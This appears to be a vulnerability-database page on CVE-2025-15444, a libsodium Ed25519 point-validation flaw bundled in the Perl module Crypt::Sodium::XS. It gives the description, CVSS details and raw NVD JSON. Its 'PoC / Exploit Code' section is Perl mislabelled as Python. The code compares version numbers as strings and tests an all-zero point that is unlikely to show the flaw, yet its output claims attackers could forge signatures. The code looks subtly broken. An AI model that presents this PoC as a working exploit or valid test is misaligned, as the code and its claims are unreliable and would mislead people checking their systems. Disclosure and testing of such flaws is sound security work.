Security Vulnerability Report
中文
CVE-2025-15444 CVSS 9.8 CRITICAL

CVE-2025-15444

Published: 2026-01-06 01:16:01
Last Modified: 2026-03-10 17:00:26
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Crypt::Sodium::XS module versions prior to 0.000042, for Perl, include a vulnerable version of libsodium libsodium <= 1.0.20 or a version of libsodium released before December 30, 2025 contains a vulnerability documented as CVE-2025-69277  https://www.cve.org/CVERecord?id=CVE-2025-69277 . The libsodium vulnerability states: In atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group. 0.000042 includes a version of libsodium updated to 1.0.20-stable, released January 3, 2026, which includes a fix for the vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:iamb:crypt\:\:sodium\:\:xs:*:*:*:*:*:perl:*:* - VULNERABLE
Crypt::Sodium::XS < 0.000042
libsodium <= 1.0.20
libsodium < 1.0.20-stable (2026年1月3日前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-15444 - libsodium crypto_core_ed25519_is_valid_point bypass # This PoC demonstrates how invalid Ed25519 points can pass validation use strict; use warnings; # Attempt to load vulnerable Crypt::Sodium::XS version BEGIN { eval { require Crypt::Sodium::XS; Crypt::Sodium::XS->import(); }; if ($@) { die "Crypt::Sodium::XS not available: $@"; } } # Check if the version is vulnerable my $module_version = $Crypt::Sodium::XS::VERSION // 'unknown'; my $vulnerable = 1; if ($module_version ne 'unknown' && $module_version ge '0.000042') { $vulnerable = 0; print "[+] Crypt::Sodium::XS version $module_version is NOT vulnerable\n"; exit(0); } print "[*] Testing Crypt::Sodium::XS version: $module_version\n"; print "[*] CVE-2025-15444 PoC - Elliptic Curve Point Validation Bypass\n\n"; # Create a point with invalid order (not in main group L) # This is a modified point that passes some checks but isn't in the main group my $invalid_point = "\x00" x 32; # Invalid compressed point representation # In vulnerable versions, crypto_core_ed25519_is_valid_point may return 1 # even for points with invalid order my $result = crypto_core_ed25519_is_valid_point($invalid_point); if ($result) { print "[!] VULNERABLE: Invalid point was accepted as valid!\n"; print "[!] This indicates the point validation bypass vulnerability\n"; print "[!] Attackers could exploit this to:\n"; print "[!] - Bypass signature verification in custom protocols\n"; print "[!] - Use points with invalid order in cryptographic operations\n"; print "[!] - Potentially forge signatures in vulnerable applications\n"; } else { print "[+] Point correctly rejected\n"; } print "\n[*] Recommended fix: Upgrade Crypt::Sodium::XS to >= 0.000042\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15444", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-01-06T01:16:01.240", "lastModified": "2026-03-10T17:00:25.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crypt::Sodium::XS module versions prior to 0.000042, for Perl, include a vulnerable version of libsodium\n\nlibsodium <= 1.0.20 or a version of libsodium released before December 30, 2025 contains a vulnerability documented as CVE-2025-69277  https://www.cve.org/CVERecord?id=CVE-2025-69277 .\n\nThe libsodium vulnerability states:\n\nIn atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.\n\n0.000042 includes a version of libsodium updated to 1.0.20-stable, released January 3, 2026, which includes a fix for the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:iamb:crypt\\:\\:sodium\\:\\:xs:*:*:*:*:*:perl:*:*", "versionEndExcluding": "0.000042", "matchCriteriaId": "E80FE07D-4150-4B71-A86C-3B70286E3E1D"}]}]}], "references": [{"url": "https://00f.net/2025/12/30/libsodium-vulnerability/", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/jedisct1/libsodium/commit/ad3004ec8731730e93fcfbbc824e67eadc1c1bae", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "https://metacpan.org/dist/Crypt-Sodium-XS/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product", "Release Notes"]}]}}